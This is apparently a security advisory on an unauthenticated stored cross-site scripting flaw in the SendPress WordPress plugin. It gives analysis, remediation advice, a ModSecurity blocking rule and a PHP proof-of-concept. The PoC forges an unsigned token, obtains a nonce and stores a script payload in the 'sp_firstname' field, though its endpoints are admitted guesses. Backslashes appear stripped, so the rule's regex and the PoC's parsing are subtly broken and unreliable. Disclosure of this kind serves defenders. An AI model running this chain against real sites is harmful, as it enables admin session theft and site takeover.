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Published : November 17, 2026

CVE-2026-96665: SendPress Newsletters <= 1.26.1.20 Unauthenticated Stored Cross-Site Scripting via 'sp_firstname' Parameter PoC, Patch Analysis & Rule

Plugin sendpress
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.26.1.20
Patched Version —
Disclosed November 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-96665 (metadata-based): This is an unauthenticated stored cross-site scripting vulnerability in the SendPress Newsletters plugin for WordPress, affecting versions up to and including 1.26.1.20. The flaw resides in the handling of the ‘sp_firstname’ parameter within the public subscriber-management route. An attacker can inject arbitrary JavaScript that persists in the database and executes when a victim (typically an administrator) views the compromised page. The CVSS score of 7.2 reflects a network-accessible, low-complexity attack requiring no privileges or user interaction, with scope change because the injected script runs in the context of the vulnerable site.

Root Cause: The vulnerability stems from insufficient input sanitization and output escaping of the ‘sp_firstname’ parameter, consistent with CWE-79 (Improper Neutralization of Input During Web Page Generation). Atomic Edge analysis infers that the plugin fails to properly escape user-supplied data before rendering it in HTML contexts, such as within subscriber management screens or email templates. The description explicitly confirms a second critical flaw: the public subscriber-management route uses an unsigned, forgeable base64-encoded JSON token. This token allows an unauthenticated attacker to impersonate any subscriber and obtain a valid nonce, bypassing the POST handler’s only access control check. The lack of a cryptographic signature on the token is the enabling factor that makes the stored XSS unauthenticated. These conclusions are inferred from the CWE and vulnerability description; no source code diff is available for confirmation.

Exploitation: An attacker first crafts a base64-encoded JSON token that impersonates a legitimate subscriber (e.g., by encoding a JSON object with a known subscriber ID or email). The token is likely passed via a GET or POST parameter to the subscriber-management endpoint. Using this forged token, the attacker requests a valid nonce from the same route, which the plugin issues without proper authentication. With the nonce in hand, the attacker sends a POST request to the subscriber update handler, setting the ‘sp_firstname’ parameter to a malicious JavaScript payload such as alert(document.cookie). Because the nonce check passes, the payload is stored in the database without sanitization. When an administrator later views the subscriber list or a related page, the script executes in their browser, potentially leading to session hijacking, data theft, or site takeover. The exact endpoint and parameter names are inferred from the plugin slug and WordPress conventions; the description confirms the ‘sp_firstname’ parameter and the token mechanism.

Remediation: The fix requires two main changes. First, the plugin must enforce proper output escaping for the ‘sp_firstname’ parameter using WordPress functions like esc_html() or esc_attr() when rendering data in HTML contexts. Second, the subscriber-management route must replace the unsigned base64-encoded JSON token with a cryptographically signed token (e.g., using HMAC with a secret key) or a WordPress nonce that is tied to the subscriber’s session and cannot be forged. Input sanitization on the ‘sp_firstname’ field should also be strengthened, but output escaping is the definitive mitigation for stored XSS. Atomic Edge research concludes that without a patched version available, these measures are inferred best practices from the CWE classification.

Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of an administrator’s browser. This can lead to session cookie theft, privilege escalation, creation of malicious admin accounts, installation of backdoors, or redirection of site visitors to malicious domains. Because the vulnerability has scope change, the attacker can potentially compromise the entire WordPress site and its users. The CVSS vector indicates low confidentiality and integrity impact, but the ability to run script as an admin often results in full site compromise.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-96665 (metadata-based)
# This rule blocks POST requests to the SendPress subscriber update action that contain a script-like payload in the 'sp_firstname' parameter.
# The endpoint is inferred from WordPress conventions; adjust the action name if the actual plugin uses a different one.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20269665,phase:2,deny,status:403,chain,msg:'CVE-2026-96665 SendPress Unauthenticated Stored XSS via sp_firstname',severity:'CRITICAL',tag:'CVE-2026-96665'"
    SecRule ARGS_POST:action "@streq sendpress_update_subscriber" "chain"
        SecRule ARGS_POST:sp_firstname "@rx <script|onw+s*=|javascript:" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-96665 - SendPress Newsletters <= 1.26.1.20 - Unauthenticated Stored Cross-Site Scripting via 'sp_firstname' Parameter

// This PoC demonstrates a likely exploitation flow based on the vulnerability description.
// It assumes the plugin exposes a subscriber-management endpoint that accepts a base64-encoded JSON token.
// The exact endpoint and parameter names are inferred from WordPress conventions and the CVE description.

$target_url = 'http://example.com'; // Change to the target WordPress site

// Step 1: Craft a forged token to impersonate a subscriber.
// The token is base64-encoded JSON; the description states it is unsigned.
$forged_token = base64_encode(json_encode(['subscriber_id' => 1, 'email' => 'attacker@example.com']));

// Step 2: Obtain a valid nonce using the forged token.
// The endpoint likely accepts the token via GET or POST; we try a common path.
$nonce_url = $target_url . '/wp-admin/admin-ajax.php?action=sendpress_get_nonce&token=' . urlencode($forged_token);
$ch = curl_init($nonce_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce from response (assuming JSON with 'nonce' field).
$nonce = null;
if (preg_match('/"nonce"s*:s*"([^"]+)"/', $response, $matches)) {
    $nonce = $matches[1];
} else {
    die("Failed to extract nonce from response: $responsen");
}

echo "Obtained nonce: $noncen";

// Step 3: Inject the XSS payload via the 'sp_firstname' parameter.
// The POST handler likely uses the nonce for access control.
$payload = '<script>alert(document.cookie)</script>';
$post_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
    'action' => 'sendpress_update_subscriber',
    'token' => $forged_token,
    'nonce' => $nonce,
    'sp_firstname' => $payload,
    // Additional required fields may be needed; adjust based on plugin behavior.
];

$ch = curl_init($post_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Injection response (HTTP $http_code): $responsen";

// The stored payload will execute when an admin views the subscriber management page.
// Visit the admin page to trigger the XSS.
?>

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